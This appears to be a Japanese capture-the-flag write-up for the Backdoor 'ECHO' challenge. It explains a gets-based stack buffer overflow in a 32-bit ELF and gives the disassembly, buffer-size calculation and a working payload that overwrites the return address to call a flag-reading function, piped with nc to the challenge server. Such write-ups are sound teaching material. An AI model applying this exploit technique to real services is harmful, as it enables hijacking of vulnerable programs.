問題へのリンク: https://backdoor.sdslabs.co/challenges/ECHO
"echo"は32bitのELFファイルでユーザーの入力を標準出力に出力するシンプルなプログラム。
$ nc hack.bckdr.in 12001
hello
ECHO: hello
ファイルを眺めてみるとtest関数 (アドレス: 0x080485D8) と sample関数 (アドレス: 0x0804856B)という2つの関数がある。
test関数はユーザーの入力をgets関数で読み取って、標準出力に出力する関数。
sample関数は"flag.txt"というファイルの内容を読み出す関数。
test関数内で呼び出されているgets関数にはバッファオーバーフローの脆弱性がある。
なので、test関数内のgets関数をバッファオーバーフローさせて、sample関数に制御を渡せば"flag.txt"の内容を読み出せる。
gets関数のバッファサイズを確認してみる。
.text:080485E1 8D 45 C6 lea eax, [ebp+var_3A]
.text:080485E4 50 push eax
.text:080485E5 E8 F6 FD FF FF call _gets
上記より、gets関数のバッファサイズは0x3A、10進数で58バイトであることがわかる。
よって、test関数に渡すFlag奪取のためのペイロードは以下の構成になる。
[バッファサイズ 58バイト] + [EBPポインタのサイズ 4バイト] + [sample関数のアドレス 4バイト]
これをpythonで書くと以下のようになる。(※アドレスはリトルエンディアン)
python -c 'print "a"*62 + "\x6B\x85\x04\x08"'
対象のプログラムはリモートーサーバーにホストされているので、上記のpythonコマンドにncコマンドをパイプさせる。
$ python -c 'print "a"*62 + "\x6B\x85\x04\x08"' | nc hack.bckdr.in 12001
実行結果:
$ python -c 'print "a"*62 + "\x6B\x85\x04\x08"' | nc hack.bckdr.in 12001
ECHO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak�
96f6< REDACTED >
以上。